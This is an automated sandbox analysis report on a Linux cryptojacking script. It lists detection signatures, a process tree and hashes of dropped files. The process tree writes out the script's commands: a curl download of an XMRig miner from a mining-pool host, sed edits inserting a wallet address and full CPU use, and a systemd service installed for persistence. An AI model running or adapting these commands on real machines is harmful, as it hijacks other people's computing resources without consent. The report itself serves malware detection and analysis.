Resubmissions

15/03/2024, 16:07

240315-tkykeacf7z1

25/02/2024, 14:29

240225-rtjrhaee9z10

Analysis

  • max time kernel
    52s
  • max time network
    1789s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240221-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    25/02/2024, 14:29

General

  • Target
    script_malware/ta.sh
  • Size 9KB
  • Sample240225-rtjrhaee9z
  • SHA256 03f1490eb936b54330934b4e677a12b11c3acf2b0e4ca97c6c21ee3dc5a381fb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 4 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Enumerates kernel/hardware configuration 1 TTPs 23 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script_malware/ta.sh
    /tmp/script_malware/ta.sh
    1⤵
      PID:1468
      • /usr/bin/sudo
        sudo -n true
        2⤵
          PID:1472
          • /usr/bin/true
            true
            3⤵
              PID:1476
          • /usr/bin/nproc
            nproc
            2⤵
              PID:1477
            • /usr/bin/sudo
              sudo -n true
              2⤵
                PID:1481
                • /usr/bin/true
                  true
                  3⤵
                    PID:1482
                • /usr/bin/sudo
                  sudo systemctl stop c3pool_miner.service
                  2⤵
                    PID:1483
                    • /usr/bin/systemctl
                      systemctl stop c3pool_miner.service
                      3⤵
                      • Reads EFI boot settings
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:1484
                  • /usr/bin/killall
                    killall -9 xmrig
                    2⤵
                    • Reads runtime system information
                    PID:1485
                  • /usr/bin/rm
                    rm -rf /tmp/c3pool
                    2⤵
                      PID:1486
                    • /usr/bin/curl
                      curl -L --progress-bar http://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
                      2⤵
                      • Writes file to tmp directory
                      PID:1487
                    • /usr/bin/mkdir
                      mkdir /tmp/c3pool
                      2⤵
                        PID:2077
                      • /usr/bin/tar
                        tar xf /tmp/xmrig.tar.gz -C /tmp/c3pool
                        2⤵
                        • Writes file to tmp directory
                        PID:2078
                        • /usr/local/sbin/gzip
                          gzip -d
                          3⤵
                            PID:2079
                          • /usr/local/bin/gzip
                            gzip -d
                            3⤵
                              PID:2079
                            • /usr/sbin/gzip
                              gzip -d
                              3⤵
                                PID:2079
                              • /usr/bin/gzip
                                gzip -d
                                3⤵
                                  PID:2079
                              • /usr/bin/rm
                                2⤵
                                  PID:2080
                                • /usr/bin/sed
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:2081
                                • /tmp/c3pool/xmrig
                                  2⤵
                                  • Executes dropped EXE
                                  • Checks CPU configuration
                                  • Checks hardware identifiers (DMI)
                                  • Reads CPU attributes
                                  • Reads hardware information
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  PID:2082
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"auto.c3pool.org:19999\",/" /tmp/c3pool/config.json
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:2088
                                • /usr/bin/sed
                                  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"41pMnZ1uYbDPmUPnxXA3GEjSBQfbhUQbT9yPbXQRvR2VNSB3NqCkH7xcjZfKHwCRdZj5YzwGaSkYyEKRBRPTXo2cM3RtTnH\",/" /tmp/c3pool/config.json
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:2089
                                • /usr/bin/sed
                                  sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"cloud\",/" /tmp/c3pool/config.json
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:2090
                                • /usr/bin/sed
                                  sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /tmp/c3pool/config.json
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:2091
                                • /usr/bin/sed
                                  sed -i "s#\"log-file\": *null,#\"log-file\": \"/tmp/c3pool/xmrig.log\",#" /tmp/c3pool/config.json
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:2092
                                • /usr/bin/sed
                                  sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /tmp/c3pool/config.json
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:2093
                                • /usr/bin/cp
                                  cp /tmp/c3pool/config.json /tmp/c3pool/config_background.json
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:2094
                                • /usr/bin/sed
                                  sed -i "s/\"background\": *false,/\"background\": true,/" /tmp/c3pool/config_background.json
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:2095
                                • /usr/bin/cat
                                  cat
                                  2⤵
                                    PID:2096
                                  • /usr/bin/chmod
                                    chmod +x /tmp/c3pool/miner.sh
                                    2⤵
                                      PID:2097
                                    • /usr/bin/sudo
                                      sudo -n true
                                      2⤵
                                        PID:2098
                                        • /usr/bin/true
                                          true
                                          3⤵
                                            PID:2099
                                        • /usr/bin/cat
                                          cat
                                          2⤵
                                            PID:2103
                                          • /usr/bin/sudo
                                            sudo mv /tmp/c3pool_miner.service /etc/systemd/system/c3pool_miner.service
                                            2⤵
                                            • Reads runtime system information
                                            PID:2104
                                            • /usr/bin/mv
                                              mv /tmp/c3pool_miner.service /etc/systemd/system/c3pool_miner.service
                                              3⤵
                                              • Reads runtime system information
                                              PID:2105
                                          • /usr/bin/sudo
                                            sudo killall xmrig
                                            2⤵
                                            • Reads runtime system information
                                            PID:2106
                                            • /usr/bin/killall
                                              killall xmrig
                                              3⤵
                                              • Reads runtime system information
                                              PID:2107
                                          • /usr/bin/sudo
                                            sudo systemctl daemon-reload
                                            2⤵
                                              PID:2108
                                              • /usr/bin/systemctl
                                                systemctl daemon-reload
                                                3⤵
                                                • Reads EFI boot settings
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:2109
                                            • /usr/bin/sudo
                                              sudo systemctl enable c3pool_miner.service
                                              2⤵
                                                PID:2145
                                                • /usr/bin/systemctl
                                                  systemctl enable c3pool_miner.service
                                                  3⤵
                                                  • Reads EFI boot settings
                                                  • Enumerates kernel/hardware configuration
                                                  PID:2147
                                              • /usr/bin/sudo
                                                sudo systemctl start c3pool_miner.service
                                                2⤵
                                                  PID:2174
                                                  • /usr/bin/systemctl
                                                    systemctl start c3pool_miner.service
                                                    3⤵
                                                    • Reads EFI boot settings
                                                    • Enumerates kernel/hardware configuration
                                                    • Reads runtime system information
                                                    PID:2175
                                                • /usr/bin/tail
                                                  tail -n1 /etc/rc.local
                                                  2⤵
                                                    PID:2177
                                                • /usr/bin/cut
                                                  cut -f1 -d.
                                                  1⤵
                                                    PID:1471
                                                  • /usr/bin/bc
                                                    bc -l
                                                    1⤵
                                                      PID:1480
                                                    • /usr/bin/sed
                                                      sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                                                      1⤵
                                                        PID:2087
                                                      • /usr/bin/cut
                                                        cut -f1 -d.
                                                        1⤵
                                                          PID:2086
                                                        • /usr/bin/hostname
                                                          hostname
                                                          1⤵
                                                            PID:2085
                                                          • /usr/bin/awk
                                                            awk "{print \$2}"
                                                            1⤵
                                                              PID:2102
                                                            • /usr/bin/grep
                                                              grep MemTotal /proc/meminfo
                                                              1⤵
                                                                PID:2101

                                                              Network

                                                                    MITRE ATT&CK Enterprise v15

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    config.json

                                                                    • Path /tmp/c3pool/config.json
                                                                    • Size 2KB
                                                                    • SHA256 4930e0eb9d62e77c7295900508edd8502880ecccbebf727f5ab353f94dc3419a
                                                                    • MD5 SHA1 SHA512

                                                                    sed9zgv1a

                                                                    • Path /tmp/c3pool/sed9zgv1a
                                                                    • Size 2KB
                                                                    • SHA256 babcd52790989359215305710aab2d4d82855c9ccfbe8f309fc7de9f2a25cb57
                                                                    • MD5 SHA1 SHA512

                                                                    sedBwi7bE

                                                                    • Path /tmp/c3pool/sedBwi7bE
                                                                    • Size 2KB
                                                                    • SHA256 6f1195924119189cb14bafdd3d0cb2b71f83422afa3bcd55012bb4574675c75b
                                                                    • MD5 SHA1 SHA512

                                                                    sedDrRPTo

                                                                    • Path /tmp/c3pool/sedDrRPTo
                                                                    • Size 2KB
                                                                    • SHA256 4cbbc5c31074ba9ac2a0f07133268e710c2799246feb01b48cabe67516fd8770
                                                                    • MD5 SHA1 SHA512

                                                                    sedQXq7Hg

                                                                    • Path /tmp/c3pool/sedQXq7Hg
                                                                    • Size 2KB
                                                                    • SHA256 442bfe229a46723ca33d347e6271f1159453dfbd208b309da2c57d1c6a0a0357
                                                                    • MD5 SHA1 SHA512

                                                                    sedTGGrir

                                                                    • Path /tmp/c3pool/sedTGGrir
                                                                    • Size 2KB
                                                                    • SHA256 a86af0a446c390a6c79b5fad099473097ded624e512b430628b4ba90a40df094
                                                                    • MD5 SHA1 SHA512

                                                                    xmrig

                                                                    • Path /tmp/c3pool/xmrig
                                                                    • Size 2.1MB
                                                                    • SHA256 a14da94d943777f9b7256d4d3688f8b8e79f2b5f3b6bad55cf10b4025118fdc6
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    c3pool_miner.service

                                                                    • Path /tmp/c3pool_miner.service
                                                                    • Size 185B
                                                                    • SHA256 d80f15997a8bca20b23964e8ed25ebc1c2945bb424d0160e4cef199a66b990fe
                                                                    • MD5 SHA1 SHA512

                                                                    sh-thd.5Vv4tI

                                                                    • Path /tmp/sh-thd.5Vv4tI
                                                                    • Size 444B
                                                                    • SHA256 4939c36afdb1993ff772cc5f0385efefc24e9dffe948aa03780f819c4843ef59
                                                                    • MD5 SHA1 SHA512

                                                                    xmrig.tar.gz

                                                                    • Path /tmp/xmrig.tar.gz
                                                                    • Size 32KB
                                                                    • SHA256 db8bf931dd5b5ff86626cdf66951b6bca3ff04ec2808be8961c72aa8138e4f6e
                                                                    • MD5 SHA1 SHA512 SSDEEP